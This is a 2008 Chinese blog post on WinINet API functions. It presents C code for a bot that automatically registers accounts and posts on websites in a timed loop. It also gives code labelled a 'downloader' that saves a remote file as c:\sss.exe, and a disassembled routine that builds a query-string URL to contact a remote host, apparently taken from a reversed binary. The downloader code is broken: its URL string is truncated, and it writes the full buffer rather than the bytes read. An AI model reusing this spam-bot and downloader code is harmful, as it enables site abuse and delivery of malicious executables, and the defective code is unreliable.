Wininet.dll中导出的几个函数

2008-12-18 01:22

Wininet.dll中导出的几个函数,功能很强大

InternetOpen,InternetOpenUrl,InternetReadFile,InternetWriteFile,InternetCloseHandle
这些由
Wininet.dll导出的函数很强大。 可以实现自动发帖,注册。以及访问网页,执行网页下载等等功能。还可以用实现程序在线自动升级,我简单整理了一下。

【一、自动发帖,注册】
#include "winsock2.h"
#include "stdio.h"
#include "Wininet.h"
#pragma comment (lib,"Wininet.lib")
void main()
{

HINTERNET hNet = ::InternetOpen("Google page", //当HTTP协议使用时,这个参数随意赋值
PRE_CONFIG_INTERNET_ACCESS, //访问类型指示Win32网络函数使用登记信息去发现一个服务器。
NULL,
INTERNET_INVALID_PORT_NUMBER, //使用INTERNET_INVALID_PORT_NUMBER相当于提供却省的端口数。
0 //标志去指示使用返回句句柄的将来的Internet函数将"不"为回调函数发送状态信息
) ;

HINTERNET hUrlFile = ::InternetOpenUrl(hNet, //从InternetOpen返回的句柄
" http://www.google.com", //需要打开的URL
NULL, //用来向服务器传送额外的信息,一般为NULL
0, //用来向服务器传送额外的信息,一般为 0
INTERNET_FLAG_RELOAD, //InternetOpenUrl行为的标志
0) ; //信息将不会被送到状态回调函数

char buffer[1024] ;
DWORD dwBytesRead = 0;
BOOL bRead = ::InternetReadFile(hUrlFile, //InternetOpenUrl返回的句柄
buffer, //保留数据的缓冲区
sizeof(buffer),
&dwBytesRead); //指向包含读入缓冲区字节数的变量的指针;
//如果返回值是TRUE,而且这里指向0,则文件已经读到了文件的末尾。

::InternetCloseHandle(hUrlFile) ;
::InternetCloseHandle(hNet) ;
printf("%s", buffer);

}
URL那里自己设置
BUFFER里就是从网页里读取的内容了。
你自己可以搜索到比如ID,然后你可以用strcat插入自己要注册的ID 同理可得 就可以设置好全部的设置了

然后再发送就可以了 再弄个while(1)循环 当中弄个SHEEP 间隔一定的时间 就可以自动注册发帖了

程序就这个样子 主要是你还要先了解那个网站注册和发帖的规律 。


【二、用这三个函数实现的下载者代码】

#include<windows.h>
#include<wininet.h>
#include<iostream.h>
#pragma comment(lib,"wininet.lib")
void main()
{
DWORD byteread=0;
char buffer[100];
memset(buffer,0,100);
HINTERNET internetopen;
internetopen=InternetOpen("Testing",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if (internetopen==NULL){
   cout<<"Internet open failed!"<<endl;
return;}
HINTERNET internetopenurl;
internetopenurl=InternetOpenUrl(internetopen,");
     if (internetopenurl==NULL){
   cout<<"Internet open url failed!"<<endl;
   goto there;}

BOOL hwrite;
DWORD written;
HANDLE createfile;
createfile=CreateFile("c:\\sss.exe",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
if (createfile==INVALID_HANDLE_VALUE){
   cout<<"Create File failed!"<<endl;
goto next;}
BOOL internetreadfile;
while(1){
internetreadfile=InternetReadFile(internetopenurl,buffer,sizeof(buffer),&byteread);
if(byteread==0)
   break;
hwrite=WriteFile(createfile,buffer,sizeof(buffer),&written,NULL);
if (hwrite==0){
   cout<<"Write to file failed!"<<endl;
goto here;}
}
cout<<"Finished downloading!"<<endl;

here:
CloseHandle(createfile);
next:
InternetCloseHandle(internetopenurl);
there:
InternetCloseHandle(internetopen);


}

【三、访问网页的代码】

VistitWebPage   proc near               ; CODE XREF: sub_411F30+4E p

szUrl           = byte ptr -11Ch
var_11B         = byte ptr -11Bh
var_18          = dword ptr -18h
InternetCloseHandleFun= dword ptr -14h
var_10          = dword ptr -10h
InternetOpenUrlAFun= dword ptr -0Ch
var_8           = dword ptr -8
InternetOpenAFun= dword ptr -4
arg_0           = dword ptr 8
arg_4           = dword ptr 0Ch
arg_8           = dword ptr 10h
arg_C           = dword ptr 14h

                push    ebp
                mov     ebp, esp
                sub     esp, 11Ch
                push    ebx
                push    esi
                mov     esi, LoadLibraryA
                push    edi
                mov     ebx, offset LibFileName ; "wininet.dll"
                push    offset ProcName ; "InternetOpenA"
                push    ebx             ; lpLibFileName
                call    esi ; LoadLibraryA
                mov     edi, GetProcAddress
                push    eax             ; hModule
                call    edi ; GetProcAddress
                push    offset aInternetopenur ; "InternetOpenUrlA"
                push    ebx             ; lpLibFileName
                mov     [ebp+InternetOpenAFun], eax
                call    esi ; LoadLibraryA
                push    eax             ; hModule
                call    edi ; GetProcAddress
                push    offset aInternetcloseh ; "InternetCloseHandle"
                push    ebx             ; lpLibFileName
                mov     [ebp+InternetOpenUrlAFun], eax
                call    esi ; LoadLibraryA
                push    eax             ; hModule
                call    edi ; GetProcAddress
                xor     ebx, ebx
                mov     [ebp+InternetCloseHandleFun], eax
                push    ebx
                push    ebx
                push    ebx
                push    ebx
                push    offset aGoogle ; "GOOGLE"
                call    [ebp+InternetOpenAFun]
                cmp     eax, ebx
                mov     [ebp+InternetOpenAFun], eax ; 保存返回的状态
                jz      loc_411B78
                push    40h
                xor     eax, eax
                pop     ecx
                lea     edi, [ebp+var_11B]
                mov     [ebp+szUrl], bl
                or      edx, 0FFFFFFFFh
                rep stosd
                stosw
                stosb
                mov     eax, ds:dword_411700 ; "?x="
                mov     edi, [ebp+arg_0]
                mov     [ebp+var_18], eax
                mov     eax, ds:dword_4116FC ; "&y="
                mov     [ebp+var_10], eax
                mov     eax, ds:dword_4116F8 ; "&t="
                mov     [ebp+var_8], eax
                mov     ecx, edx
                xor     eax, eax
                lea     ebx, [ebp+szUrl]
                repne scasb
                not     ecx             ; 求出arg_0的长度
                sub     edi, ecx
                mov     eax, ecx
                mov     esi, edi
                shr     ecx, 2
                mov     edi, ebx
                lea     ebx, [ebp+szUrl]
                rep movsd
                mov     ecx, eax
                xor     eax, eax
                and     ecx, 3
                rep movsb               ; 将arg_0拷贝到szUrl
                lea     edi, [ebp+var_18]
                mov     ecx, edx
                repne scasb
                not     ecx             ; 计算出var_18的长度
                sub     edi, ecx
                mov     esi, edi
                mov     edi, ebx
                mov     ebx, ecx
                mov     ecx, edx
                repne scasb
                mov     ecx, ebx
                dec     edi
                shr     ecx, 2
                rep movsd
                mov     ecx, ebx
                lea     ebx, [ebp+szUrl]
                and     ecx, 3
                rep movsb               ; var_18的内容粘贴到szUrl
                mov     edi, [ebp+arg_8]
                mov     ecx, edx
                repne scasb
                not     ecx             ; 计算arg_8的长度
                sub     edi, ecx
                mov     esi, edi
                mov     edi, ebx
                mov     ebx, ecx
                mov     ecx, edx
                repne scasb
                mov     ecx, ebx
                dec     edi
                shr     ecx, 2
                rep movsd
                mov     ecx, ebx
                lea     ebx, [ebp+szUrl]
                and     ecx, 3
                rep movsb               ; 将arg_8的内容粘贴到szUrl
                lea     edi, [ebp+var_10]
                mov     ecx, edx
                repne scasb
                not     ecx             ; 计算var_10的长度
                sub     edi, ecx
                mov     esi, edi
                mov     edi, ebx
                mov     ebx, ecx
                mov     ecx, edx
                repne scasb
                mov     ecx, ebx
                dec     edi
                shr     ecx, 2
                rep movsd
                mov     ecx, ebx
                lea     ebx, [ebp+szUrl]
                and     ecx, 3
                push    eax
                rep movsb               ; 将var_10粘贴到szUrl
                mov     edi, [ebp+arg_4]
                mov     ecx, edx
                repne scasb
                not     ecx             ; 计算arg_4的长度
                sub     edi, ecx
                push    80000000h
                mov     esi, edi
                mov     edi, ebx
                mov     ebx, ecx
                mov     ecx, edx
                repne scasb
                mov     ecx, ebx
                dec     edi
                shr     ecx, 2
                rep movsd
                mov     ecx, ebx
                lea     ebx, [ebp+szUrl]
                and     ecx, 3
                push    eax
                rep movsb               ; 将arg_4的内容粘贴到szUrl
                lea     edi, [ebp+var_8]
                mov     ecx, edx
                repne scasb
                not     ecx             ; 计算var_8的长度
                sub     edi, ecx
                push    eax
                mov     esi, edi
                mov     edi, ebx
                mov     ebx, ecx
                mov     ecx, edx
                repne scasb
                mov     ecx, ebx
                dec     edi
                shr     ecx, 2
                rep movsd
                mov     ecx, ebx
                lea     ebx, [ebp+szUrl]
                and     ecx, 3
                rep movsb               ; 将var_8粘贴到szUrl
                mov     edi, [ebp+arg_C]
                mov     ecx, edx
                repne scasb
                not     ecx             ; 计算arg_c的长度
                sub     edi, ecx
                mov     esi, edi
                mov     edi, ebx
                mov     ebx, ecx
                mov     ecx, edx
                repne scasb
                mov     ecx, ebx
                dec     edi
                shr     ecx, 2
                rep movsd
                lea     eax, [ebp+szUrl] ; 最后szUrl的格式是:
                                        ; arg_0?x=arg_8&y=arg_4&t=arg_c
                mov     ecx, ebx
                push    eax
                and     ecx, 3
                push    [ebp+InternetOpenAFun]
                rep movsb               ; 将arg_c粘贴到szUrl
                call    [ebp+InternetOpenUrlAFun]
                test    eax, eax
                jnz     short loc_411B7C
                push    [ebp+InternetOpenAFun]
                call    [ebp+InternetCloseHandleFun]

loc_411B78:                             ; CODE XREF: VistitWebPage+5A j
                xor     eax, eax
                jmp     short loc_411B7F
; ---------------------------------------------------------------------------

loc_411B7C:                             ; CODE XREF: VistitWebPage+1CB j
                push    1
                pop     eax

loc_411B7F:                             ; CODE XREF: VistitWebPage+1D5 j
                pop     edi
                pop     esi
                pop     ebx
                leave
                retn
VistitWebPage   end
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值